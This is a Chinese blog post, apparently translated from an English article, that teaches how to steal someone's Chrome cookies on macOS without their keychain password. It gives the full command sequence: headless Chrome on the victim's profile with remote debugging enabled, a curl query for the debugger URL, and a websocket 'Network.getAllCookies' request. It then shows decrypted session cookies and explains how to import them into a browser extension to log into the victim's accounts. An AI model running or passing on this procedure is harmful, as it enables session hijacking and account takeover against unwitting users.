无需密码即可窃取 Chrome 的 Cookie

简评:如果你想窃取别人 Chrome Cookie,通常需要你输入用户的密码来完成这项工作。这篇教程介绍如何不需要密码直接获取用户的 cookie。

如果只是想要直接使用这个工具可以移步到 https://github.com/defaultnamehere/cookie_crimes,一下是原理介绍。

Cookie 工作原理?

举例,当登录 facebook 时,facebook 会为你提供一个 cookie,他存在你的电脑上。下次访问 facebook 的时候,你只需要提供这个 cookie,facebook 就可以定位你的账户信息,无需再输入密码。如果你成功的偷取了别人的 cookie 就可以访问别人的账户。

Chrome 中 Cookie 的安全性

Chrome 使用 “Chrome Safe Storage” 密码来加密他们的 Cookie。这个密码存在于用户的登录钥匙串中,因此获取 cookie 的唯一方法是通过输入密码来解锁钥匙串。

这是获取用户 cookie 的合法途径,但是现在可以绕过输入密码这个环节直接获取用户 cookie。

第一步:运行 Headless Chrome 模式

运行 Headless Chrome 模式可以不显示窗口,而是在终端上运行代码。

用户数据目录

Chrome 会将用户的 cookie,历史记录,私密信息储存在 user-data-dir 中。默认路径是 $HOME/Library/Application Support/Google/Chrome/。

启用远程调试

为了便于调试和自动化原因,Chrome 提供了远程控制功能。

开启一个 Headless Chrome 窗口,在终端上输入如下命令:

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222

设置远程调试监听 localhost:9222 (Chrome 远程调试的默认端口)。成功开启 Headless Chrome 窗口后还需要打开一个标签页来 debug 它。可以是 gmail.com ,也可以是其他。

还可以添加 --dump-dom 指令来,来输入页面的 HTML(示例中是显示 gmail.com 中的内容)。

第二步:远程调试 Headless Chrome

试试对监听端口的 /json 节点获取内容,得到如下 json 数据:

$ curl -s localhost:9222/json 

[ {
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A",
"id": "7404BF41DC4E7512E0431577BABCE18A",
"title": "about:blank",
"type": "page",
"url": "about:blank",
"webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A"
} ]

注意这里成功获取了 webSocketDebuggerUrl。

第三步:通过 websocket 协议发出指明

通过上一步中获取的的 webSocketDebuggerUrl,我们可以使用指令来控制 Chrome 了。

先连接该 url,这里使用 wsc 来帮我们完成这部分内容。

wsc ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
Connected to ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
>

成功连上后就可以输入指令来获取想要的内容,那么如何获取所有的 cookie 信息呢,好吧我也找了很久,最后在这里找到了。

>{"id": 1, "method": "Network.getAllCookies"}
[{
"domain": "mail.google.com",
"expires": -1,
"httpOnly": false,
"name": "GMAIL_AT",
"path": "/mail/u/0",
"secure": true,
"session": true,
"size": 42,
"value": 
},
...

这样 Chrome 不再要求我们输入密码,直接对 cookie 进行解密并返回。到此我们已经成功绕过密码验证获取所有 cookie 了。

你可以将这些 cookie 插入到 Chrome Extension 中 (例如:EditThisCookie),就可以直接登录 cookie 代表的账户了。


原文链接:Stealing Chrome cookies without a password
推荐阅读:隐私问题如此严重,不如卖自己的数据挣点钱?

你可能感兴趣的:(无需密码即可窃取 Chrome 的 Cookie)